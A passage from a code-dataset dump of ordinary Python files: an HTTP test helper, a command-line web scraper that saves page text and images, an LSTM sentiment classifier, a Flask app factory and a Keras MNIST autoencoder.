for ID in body_message.Catalog_body:\n if ID[\"operation\"] == operation and ID[\"code\"] == response_type:\n return ID[\"body\"]\n\n def change_version (self, body_expected, version, Accept):\n \"\"\"\n Add version name in response for verify in body\n :param body_expected:\n :param version:\n :param Accept:\n :return:\n \"\"\"\n if Accept == \"xml\":\n label = ''\n elif Accept == \"json\":\n label = '\",\"product\"'\n else:\n return body_expected\n return utils.insert_label (body_expected, label, version)\n\n def change_product (self, body_expected, product, Accept):\n \"\"\"\n Add product name in response for verify in body\n :param body_expected:\n :param product:\n :param Accept:\n :return:\n \"\"\"\n if Accept == \"xml\":\n label = ''\n elif Accept == \"json\":\n label = '\",\"description\"'\n else:\n return body_expected\n return utils.insert_label (body_expected, label, product)\n\n def check_response_status(self, response, expected_status_code):\n \"\"\"\n Checks that the response status is the expected one.\n :param response: Response to be checked.\n :param expected_status_code: Expected status code of the response.\n \"\"\"\n assert response.status == expected_status_code, \\\n \"Wrong status code received: %d. Expected: %d. \\n\\nBody content: %s\" \\\n % (response.status, expected_status_code, response.read())\n\n def check_response_body(self, response, expected_body):\n \"\"\"\n Checks that the response body is the expected one.\n :param response: Response to be checked.\n :param expected_body: Expected body of the response.\n \"\"\"\n\n resp = str(response.read())\n #print \"\\n\\n\\n respuesta: \"+ resp+ \"\\n\\n\\n\"\n #print \"\\n esperado: \"+ expected_body + \"\\n\\n\\n\"\n #print \"\\n\\n------------------------------------------------------------------------------------------------------------------------------------------------- \"+str(resp.find(expected_body))+\"\\n\\n\"\n\n assert resp.find(expected_body) >= 0, \\\n \"Wrong body received: %s \\n\\n Expected: %s\" \\\n % (resp, expected_body)\n\n\n\n ## -------------------\n\n\n", "sub_path": "test/acceptance/tools/catalogue_request.py", "file_name": "catalogue_request.py", "file_ext": "py", "file_size_in_byte": 13147, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "http.get_token", "line_number": 60, "usage_type": "call"}, {"api_name": "utils.errorLabel", "line_number": 109, "usage_type": "call"}, {"api_name": "utils.errorUrl", "line_number": 110, "usage_type": "call"}, {"api_name": "http.get", "line_number": 116, "usage_type": "call"}, {"api_name": "http.post", "line_number": 118, "usage_type": "call"}, {"api_name": "http.put", "line_number": 120, "usage_type": "call"}, {"api_name": "http.delete", "line_number": 122, "usage_type": "call"}, {"api_name": "utils.body_oneElement", "line_number": 136, "usage_type": "call"}, {"api_name": "utils.body_oneElement", "line_number": 137, "usage_type": "call"}, {"api_name": "tools.body_message.ATTRIBUTES", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tools.body_message", "line_number": 144, "usage_type": "name"}, {"api_name": "utils.body_elements", "line_number": 145, "usage_type": "call"}, {"api_name": "tools.body_message.ATTRIBUTES", "line_number": 145, "usage_type": "attribute"}, {"api_name": "tools.body_message", "line_number": 145, "usage_type": "name"}, {"api_name": "tools.body_message.ALL_METADATAS", "line_number": 154, "usage_type": "attribute"}, {"api_name": "tools.body_message", "line_number": 154, "usage_type": "name"}, {"api_name": "utils.body_elements", "line_number": 159, "usage_type": "call"}, {"api_name": "utils.body_oneElement", "line_number": 187, "usage_type": "call"}, {"api_name": "utils.body_oneElement", "line_number": 188, "usage_type": "call"}, {"api_name": "lettuce.world.response", "line_number": 201, "usage_type": "attribute"}, {"api_name": "lettuce.world", "line_number": 201, "usage_type": "name"}, {"api_name": "lettuce.world.response", "line_number": 215, "usage_type": "attribute"}, {"api_name": "lettuce.world", "line_number": 215, "usage_type": "name"}, {"api_name": "lettuce.world.response", "line_number": 224, "usage_type": "attribute"}, {"api_name": "lettuce.world", "line_number": 224, "usage_type": "name"}, {"api_name": "lettuce.world.response", "line_number": 239, "usage_type": "attribute"}, {"api_name": "lettuce.world", "line_number": 239, "usage_type": "name"}, {"api_name": "lettuce.world.response", "line_number": 248, "usage_type": "attribute"}, {"api_name": "lettuce.world", "line_number": 248, "usage_type": "name"}, {"api_name": "lettuce.world.response", "line_number": 259, "usage_type": "attribute"}, {"api_name": "lettuce.world", "line_number": 259, "usage_type": "name"}, {"api_name": "tools.body_message.Catalog_body", "line_number": 262, "usage_type": "attribute"}, {"api_name": "tools.body_message", "line_number": 262, "usage_type": "name"}, {"api_name": "utils.insert_label", "line_number": 280, "usage_type": "call"}, {"api_name": "utils.insert_label", "line_number": 296, "usage_type": "call"}]} +{"seq_id": "36013573", "text": "import os\nimport time\nimport requests\nimport bs4 as bs\nimport re\nfrom threading import Thread\nfrom builtins import input\n\n\ndef remove_last_line():\n print('\\x1b[1A' +'\\x1b[2K' + '\\x1b[1A')\n\ndef get_page(soup,pr,po):\n soup = soup.prettify()\n with open(\"{}/{}/{}.html\".format(pr,po,po), \"w\" , encoding=\"utf-8\") as handler:\n handler.write(str(soup))\n\n with open(\"{}/{}/{}_all.txt\".format(pr,po,po), \"w\" , encoding=\"utf-8\") as handler:\n handler.write(str(soup))\n\ndef get_text(soup,pr,po):\n with open(\"{}/{}/{}_text.txt\".format(pr,po,po), \"w\" , encoding=\"utf-8\") as handler:\n for x in soup.find_all('p'):\n handler.write(x.get_text()+\"\\n\")\n\n with open(\"{}/{}/{}_paragrarphs.html\".format(pr,po,po), \"w\" , encoding=\"utf-8\") as handler:\n for x in soup.find_all('p'):\n handler.write(str(x))\n\ndef get_img(soup,base_url,pr,po):\n img = soup.find_all(\"img\")\n\n with open(\"{}/{}/{}_img_links.txt\".format(pr,po,po), \"w\" , encoding=\"utf-8\") as handler:\n for x in img:\n if x.get(\"src\") == None:\n continue\n if x.get(\"src\").endswith(\"svg\"):\n continue\n if x.get(\"src\").startswith(\"/\"):\n handler.write(base_url+x.get(\"src\")+\"\\n\")\n elif x.get(\"src\").startswith(\"http\") == False:\n handler.write(base_url+\"/\"+x.get(\"src\"))\n elif x.get(\"src\").startswith(\"..\"):\n handler.write(base_url+x.get(\"src\")[2:]+\"\\n\")\n else:\n handler.write(x.get(\"src\")+\"\\n\")\n\ndef download_img(soup,base_url,pr,po):\n img = soup.find_all(\"img\")\n if img == None:\n return \"No images found\"\n\n try:\n os.mkdir(\"{}/{}/img\".format(pr,po))\n except:\n pass\n\n numfix = 0\n for n,x in enumerate(img):\n if x.get(\"src\") == None:\n continue\n if x.get(\"src\").startswith(\"/\"):\n req = (base_url+x.get(\"src\"))\n elif x.get(\"src\").startswith(\"http\") == False:\n req = (base_url+\"/\"+x.get(\"src\"))\n elif x.get(\"src\").startswith(\"..\"):\n req = (base_url+x.get(\"src\")[2:])\n else:\n req = (x.get(\"src\"))\n\n extension = re.findall(r\".*(\\.\\w*$)\",x.get(\"src\"))\n if extension == []:\n numfix += 1\n continue\n else:\n extension = extension[0]\n req = requests.get(req)\n output = open(\"{}/{}/img/{}{}\".format(pr,po,n-numfix,extension),\"wb\")\n output.write(req.content)\n output.close()\n\ndef get_all(soup,base_url,pr,po):\n p1 = Thread(target=download_img,args=(soup,base_url,pr,po))\n p2 = Thread(target=get_text,args=(soup,pr,po))\n p3 = Thread(target=get_img,args=(soup,base_url,pr,po))\n p4 = Thread(target=get_page,args=(soup,pr,po))\n p1.start()\n p2.start()\n p3.start()\n p4.start()\n p1.join()\n p2.join()\n p3.join()\n p4.join()\n\ndef main():\n while True:\n url = input(\"\\nEnter website url to srcape > \")\n print(\"\\nurl validation in progress...\")\n if url.startswith(\"http\") == False:\n url = \"https://\" + url\n try:\n web = requests.get(url).content\n break\n except:\n os.system('cls' if os.name in \"nt\" else \"clear\")\n print(\"\\nInvalid url entered.\")\n continue\n\n soup = bs.BeautifulSoup(web,\"lxml\")\n base_url = re.match(r\"^(^https?://[^/]*)\",url)[0]\n prefix = re.findall(r\"^https?://([^/]*)\",url)[0]\n postfix = re.findall(r\"^https?://[^/].*(/.*)\",url)\n if postfix == []:\n postfix = \"main\"\n elif postfix[0] == \"/\":\n postfix = \"main\"\n else:\n postfix = postfix[0]\n\n try:\n os.makedirs(\"{}/{}\".format(prefix,postfix))\n except:\n pass\n\n print(\"\\nurl valid\")\n time.sleep(0.8)\n os.system('cls' if os.name in \"nt\" else \"clear\")\n print(\"\\nWhat do you want to scrape?\\n\\n1. complete html\\n2. paragraphs\\n3. img download links\\n4. download img\\n5. all of the above\\n\\nEnter q or blank line to change url\\n\")\n\n while True:\n x = input(\"> \")\n if x == \"1\":\n get_page(soup,prefix,postfix)\n print(\"\\nDone\\nContents were saved to {}/{}/\\n\".format(prefix,postfix))\n\n time.sleep(1)\n for x in range(5):\n remove_last_line()\n\n elif x == \"2\":\n get_text(soup,prefix,postfix)\n print(\"\\nDone\\nContents were saved to {}/{}/\\n\".format(prefix,postfix))\n\n time.sleep(1)\n for x in range(5):\n remove_last_line()\n\n elif x == \"3\":\n get_img(soup,base_url,prefix,postfix)\n print(\"\\nDone\\nContents were saved to {}/{}/\\n\".format(prefix,postfix))\n\n time.sleep(1)\n for x in range(5):\n remove_last_line()\n\n elif x == \"4\":\n print(\"\\nDownload in progress, it might take a while.\")\n download_img(soup,base_url,prefix,postfix)\n print(\"\\nDone\\nContents were saved to {}/{}/img/\\n\".format(prefix,postfix))\n\n time.sleep(1)\n for x in range(7):\n remove_last_line()\n\n elif x == \"5\":\n print(\"\\nDownload in progress, it might take a while.\")\n get_all(soup,base_url,prefix,postfix)\n print(\"\\nDone\\nContents were saved to {}/{}/\\n\".format(prefix,postfix))\n\n time.sleep(1)\n for x in range(7):\n remove_last_line()\n\n elif x == \"q\" or x == \"\":\n os.system('cls' if os.name in \"nt\" else \"clear\")\n main()\n else:\n continue\n\nif __name__ == '__main__':\n main()\n", "sub_path": "web_scrape_win.py", "file_name": "web_scrape_win.py", "file_ext": "py", "file_size_in_byte": 5715, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.mkdir", "line_number": 54, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 77, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 83, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 84, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 85, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 86, "usage_type": "call"}, {"api_name": "builtins.input", "line_number": 98, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 103, "usage_type": "call"}, {"api_name": "os.system", "line_number": 106, "usage_type": "call"}, {"api_name": "os.name", "line_number": 106, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 110, "usage_type": "call"}, {"api_name": "re.match", "line_number": 111, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 112, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 113, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 122, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 127, "usage_type": "call"}, {"api_name": "os.system", "line_number": 128, "usage_type": "call"}, {"api_name": "os.name", "line_number": 128, "usage_type": "attribute"}, {"api_name": "builtins.input", "line_number": 132, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 137, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 145, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 153, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 162, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 171, "usage_type": "call"}, {"api_name": "os.system", "line_number": 176, "usage_type": "call"}, {"api_name": "os.name", "line_number": 176, "usage_type": "attribute"}]} +{"seq_id": "215095518", "text": "###\n# From https://github.com/bentrevett/pytorch-sentiment-analysis\n###\nimport torch\nfrom torchtext import data\nfrom torchtext import datasets\nimport torch.nn as nn\nimport torch.optim as optim\nimport time\nimport random\n\nfrom nltk.stem import PorterStemmer\n\nclass LSTM(nn.Module):\n def __init__(self, vocab_size, embedding_dim, hidden_dim, output_dim, n_layers, bidirectional, dropout, pad_idx):\n super().__init__()\n self.embedding = nn.Embedding(vocab_size, embedding_dim, padding_idx = pad_idx)\n self.lstm = nn.LSTM(embedding_dim,\n hidden_dim,\n num_layers=n_layers,\n bidirectional=bidirectional,\n dropout=dropout)\n self.fc = nn.Linear(hidden_dim * 2, output_dim)\n self.dropout = nn.Dropout(dropout)\n \n def forward(self, text, text_lengths):\n embedded = self.dropout(self.embedding(text))\n packed_embedded = nn.utils.rnn.pack_padded_sequence(embedded, text_lengths)\n packed_output, (hidden, cell) = self.lstm(packed_embedded)\n output, output_lengths = nn.utils.rnn.pad_packed_sequence(packed_output)\n hidden = self.dropout(torch.cat((hidden[-2,:,:], hidden[-1,:,:]), dim = 1))\n return self.fc(hidden.squeeze(0))\n\n# def stemmer(datas):\n# stem\n\nSEED = 1234\nMAX_VOCAB_SIZE = 25_000\nBATCH_SIZE = 64\n\ntorch.manual_seed(SEED)\ntorch.backends.cudnn.deterministic = True\n\nps = PorterStemmer()\nstem = lambda datas: [ps.stem(x) for x in datas]\n\nTEXT = data.Field(tokenize = 'spacy', preprocessing=stem, include_lengths = True)\nLABEL = data.LabelField(dtype = torch.float)\n\ntrain_data, test_data = datasets.IMDB.splits(TEXT, LABEL)\ntrain_data, valid_data = train_data.split(random_state = random.seed(SEED))\n\nprint(f'Number of training examples: {len(train_data)}')\nprint(f'Number of validation examples:{len(valid_data)}')\nprint(f'Number of testing examples: {len(test_data)}')\n\nprint(vars(train_data.examples[0]))\n\nTEXT.build_vocab(train_data, \n max_size = MAX_VOCAB_SIZE)\n # vectors = 'glove.6B.100d',\n # unk_init = torch.Tensor.normal_)\nLABEL.build_vocab(train_data)\n\nprint(f'Unique tokens in TEXT vocabulary: {len(TEXT.vocab)}')\nprint(f'Unique tokens in LABEL vocabulary: {len(LABEL.vocab)}')\n\n# print(TEXT.vocab.freqs.most_common(20))\n# print(TEXT.vocab.itos[:10])\n# print(LABEL.vocab.stoi)\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ntrain_iterator, valid_iterator, test_iterator = data.BucketIterator.splits(\n (train_data, valid_data, test_data),\n batch_size = BATCH_SIZE,\n sort_within_batch = True,\n device = device)\n\nINPUT_DIM = len(TEXT.vocab)\nEMBEDDING_DIM = 100\nHIDDEN_DIM = 256\nOUTPUT_DIM = 1\nN_LAYERS = 2\nBIDIRECTIONAL = False\nDROPOUT = 0.5\nPAD_IDX = TEXT.vocab.stoi[TEXT.pad_token]\n\nmodel = LSTM(INPUT_DIM,\n EMBEDDING_DIM,\n HIDDEN_DIM,\n OUTPUT_DIM,\n N_LAYERS,\n BIDIRECTIONAL,\n DROPOUT,\n PAD_IDX)\n\ndef count_parameters(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\nprint(f'The model has {count_parameters(model):,} trainable parameters')\n\n# pretrained_embeddings = TEXT.vocab.vectors\n# print(pretrained_embeddings.shape)\n\n# model.embedding.weight.data.copy_(pretrained_embeddings)\n\nUNK_IDX = TEXT.vocab.stoi[TEXT.unk_token]\nmodel.embedding.weight.data[UNK_IDX] = torch.zeros(EMBEDDING_DIM)\nmodel.embedding.weight.data[PAD_IDX] = torch.zeros(EMBEDDING_DIM)\n\noptimizer = optim.Adam(model.parameters())\ncriterion = nn.BCEWithLogitsLoss()\n\nmodel = model.to(device)\ncriterion = criterion.to(device)\n\ndef binary_accuracy(preds, y):\n \"\"\"\n Returns accuracy per batch, i.e. if you get 8/10 right, this returns 0.8, NOT 8\n \"\"\"\n\n #round predictions to the closes integer\n rounded_preds = torch.round(torch.sigmoid(preds))\n correct = (rounded_preds == y).float()\n acc = correct.sum() / len(correct)\n return acc\n\ndef train(model, iterator, optimizer, criterion):\n \n epoch_loss = 0\n epoch_acc = 0\n\n model.train()\n\n for batch in iterator:\n optimizer.zero_grad()\n text, text_lengths = batch.text\n predictions = model(text, text_lengths).squeeze(1)\n loss = criterion(predictions, batch.label)\n acc = binary_accuracy(predictions, batch.label)\n\n loss.backward()\n optimizer.step()\n\n epoch_loss += loss.item()\n epoch_acc += acc.item()\n \n return epoch_loss / len(iterator), epoch_acc / len(iterator)\n\ndef evaluate(model, iterator, criterion):\n epoch_loss = 0\n epoch_acc = 0\n\n model.eval()\n\n with torch.no_grad():\n for batch in iterator:\n text, text_lengths = batch.text\n predictions = model(text, text_lengths).squeeze(1)\n loss = criterion(predictions, batch.label)\n acc = binary_accuracy(predictions, batch.label)\n\n epoch_loss += loss.item()\n epoch_acc += acc.item()\n \n return epoch_loss / len(iterator), epoch_acc / len(iterator)\n\ndef epoch_time(start_time, end_time):\n elapsed_time = end_time - start_time\n elapsed_mins = int(elapsed_time / 60)\n elapsed_secs = int(elapsed_time - (elapsed_mins * 60))\n return elapsed_mins, elapsed_secs\n\nN_EPOCHS = 5\n\nbest_valid_loss = float('inf')\n\nprint(\"=\"*10)\nprint(\"Train Start\")\nprint(\"=\"*10)\n\n\nfor epoch in range(N_EPOCHS):\n start_time = time.time()\n train_loss, train_acc = train(model, train_iterator, optimizer, criterion)\n valid_loss, valid_acc = evaluate(model, valid_iterator, criterion)\n\n end_time = time.time()\n\n epoch_mins, epoch_secs = epoch_time(start_time, end_time)\n\n if valid_loss < best_valid_loss:\n best_valid_loss = valid_loss\n torch.save(model.state_dict(), 'lstm-model2.pt')\n \n print(f'Epoch: {epoch+1:02} | Epoch Time: {epoch_mins}m {epoch_secs}s')\n print(f'\\tTrain Loss: {train_loss:.3f} | Train Acc: {train_acc*100:.2f}%')\n print(f'\\t Val. Loss: {valid_loss:.3f} | Val. Acc : {valid_acc*100:.2f}%')\n\nprint(\"=\"*10)\nprint(\"Train Finish\")\nprint(\"=\"*10)\n\nmodel.load_state_dict(torch.load('lstm-model2.pt'))\ntest_loss, test_acc = evaluate(model, test_iterator, criterion)\nprint(f'Test Loss: {test_loss:.3f} | Test Acc: {test_acc*100:.2f}%')\n", "sub_path": "pytorch-sentiment-analysis/LSTM_sentiment_analysis_stem.py", "file_name": "LSTM_sentiment_analysis_stem.py", "file_ext": "py", "file_size_in_byte": 6112, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.utils.rnn.pack_padded_sequence", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.utils.rnn.pad_packed_sequence", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 42, "usage_type": "attribute"}, {"api_name": "nltk.stem.PorterStemmer", "line_number": 44, "usage_type": "call"}, {"api_name": "torchtext.data.Field", "line_number": 47, "usage_type": "call"}, {"api_name": "torchtext.data", "line_number": 47, "usage_type": "name"}, {"api_name": "torchtext.data.LabelField", "line_number": 48, "usage_type": "call"}, {"api_name": "torchtext.data", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.float", "line_number": 48, "usage_type": "attribute"}, {"api_name": "torchtext.datasets.IMDB.splits", "line_number": 50, "usage_type": "call"}, {"api_name": "torchtext.datasets.IMDB", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torchtext.datasets", "line_number": 50, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torchtext.data.BucketIterator.splits", "line_number": 74, "usage_type": "call"}, {"api_name": "torchtext.data.BucketIterator", "line_number": 74, "usage_type": "attribute"}, {"api_name": "torchtext.data", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 113, "usage_type": "name"}, {"api_name": "torch.round", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 157, "usage_type": "call"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}, {"api_name": "time.time", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 205, "usage_type": "call"}]} +{"seq_id": "478651181", "text": "# coding=utf-8\nimport logging\nimport flask\n\n__author__ = 'ThucNC'\n_logger = logging.getLogger(__name__)\n\n\ndef create_app():\n import config\n import logging.config\n import os\n\n from . import api, models\n from app import helpers\n\n def load_app_config(app):\n \"\"\"\n Load app's configurations\n :param flask.Flask app:\n :return:\n \"\"\"\n app.config.from_object(config)\n app.config.from_pyfile('config.py', silent=True)\n\n app = flask.Flask(\n __name__,\n instance_relative_config=True,\n instance_path=os.path.join(config.ROOT_DIR, 'instance')\n )\n app.json_encoder = helpers.JSONEncoder\n load_app_config(app)\n\n # setup logging\n logging.config.fileConfig(app.config['LOGGING_CONFIG_FILE'],\n disable_existing_loggers=False)\n\n app.secret_key = config.FLASK_APP_SECRET_KEY\n models.init_app(app)\n api.init_app(app)\n return app\n\n\napp = create_app()\n", "sub_path": "app/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 975, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "app.config.from_object", "line_number": 23, "usage_type": "call"}, {"api_name": "app.config", "line_number": 23, "usage_type": "attribute"}, {"api_name": "app.config.from_pyfile", "line_number": 24, "usage_type": "call"}, {"api_name": "app.config", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "config.ROOT_DIR", "line_number": 29, "usage_type": "attribute"}, {"api_name": "app.json_encoder", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.helpers.JSONEncoder", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.helpers", "line_number": 31, "usage_type": "name"}, {"api_name": "logging.config.fileConfig", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.config", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.secret_key", "line_number": 38, "usage_type": "attribute"}, {"api_name": "config.FLASK_APP_SECRET_KEY", "line_number": 38, "usage_type": "attribute"}]} +{"seq_id": "609238898", "text": "import numpy as np # пакет для работы с векторами и матрицами\nimport matplotlib.pyplot as plt #функция для отображения графиков\nfrom tensorflow.keras.datasets import mnist # библиотека базы выборок Mnist\nfrom tensorflow import keras\nfrom tensorflow.keras.layers import Dense, Flatten, Reshape, Input #слои, кот мы будем использовать\n\n#стандартизация входных данных\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nx_train = x_train/255\nx_test = x_test/255\nx_train = np.reshape(x_train, (len(x_train), 28, 28, 1))\nx_test = np.reshape(x_test, (len(x_test), 28, 28, 1))\n\nbatch_size = 100\ninput_img = Input((28,28,1)) #входы НС будут соотв этому изображению\nx = Flatten()(input_img) #вытягиваем изображение в один вектор\nx = Dense(128, activation='relu')(x) #подаем этот вектор на полносвязный слой НС\nx = Dense(64, activation='relu')(x) # следующий полносвязный слой\nencoded = Dense(49, activation='relu')(x)#слой скрытого состояния\n\nd = Dense(128, activation='relu')(encoded)\nd = Dense(28 * 28, activation='sigmoid')(d)\ndecoded = Reshape((28, 28, 1))(d) #восстановленное изображение на выходе\n\nautoencoder = keras.Model(input_img, decoded, name=\"autoencoder\") #формируем модедь автоэнкодера\nautoencoder.compile(optimizer='adam', loss='mean_squared_error') #компилируем НС\n\n#запускаем процесс обучения, и на вход, и на выход подаем один и тот же сигнал\n\nautoencoder.fit(x_train, x_train,\n epochs=20,\n batch_size=batch_size,\n shuffle=True) #перемешиваем наблюдения при обучении\n\n#отображаем первые десять изображений и результат\nn = 10\n\nimgs = x_test[:n]\ndecoded_imgs = autoencoder.predict(x_test[:n], batch_size=n)\n\nplt.figure(figsize=(n, 2))\nfor i in range(n):\n ax = plt.subplot(2, n, i + 1)\n plt.imshow(imgs[i].squeeze(), cmap='gray')\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n\n ax2 = plt.subplot(2, n, i + n + 1)\n plt.imshow(decoded_imgs[i].squeeze(), cmap='gray')\n ax2.get_xaxis().set_visible(False)\n ax2.get_yaxis().set_visible(False)\n\nplt.show()\n\ndef plot_digits(*images): #отображдаем в консоли цифры\n images = [x.squeeze() for x in images]\n n = images[0].shape[0] # число изображений\n\n plt.figure(figsize=(n, len(images)))\n for j in range(n):\n for i in range(len(images)):\n ax = plt.subplot(len(images), n, i * n + j + 1)\n plt.imshow(images[i][j])\n plt.gray()\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n\n plt.show()\ndef plot_homotopy(frm, to, n=10, autoencoder=None):\n z = np.zeros(([n] + list(frm.shape)))\n for i, t in enumerate(np.linspace(0., 1., n)):\n z[i] = frm * (1 - t) + to * t # Гомотопия по прямой\n if autoencoder:\n plot_digits(autoencoder.predict(z, batch_size=n))\n else:\n plot_digits(z)\n\nfrm, to = x_test[y_test == 5][1:3]\nplot_homotopy(frm, to)\nplot_homotopy(frm, to, autoencoder=autoencoder)", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3427, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "tensorflow.keras.datasets.mnist.load_data", "line_number": 8, "usage_type": "call"}, {"api_name": "tensorflow.keras.datasets.mnist", "line_number": 8, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Reshape", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.keras.Model", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gray", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "137867026", "text": 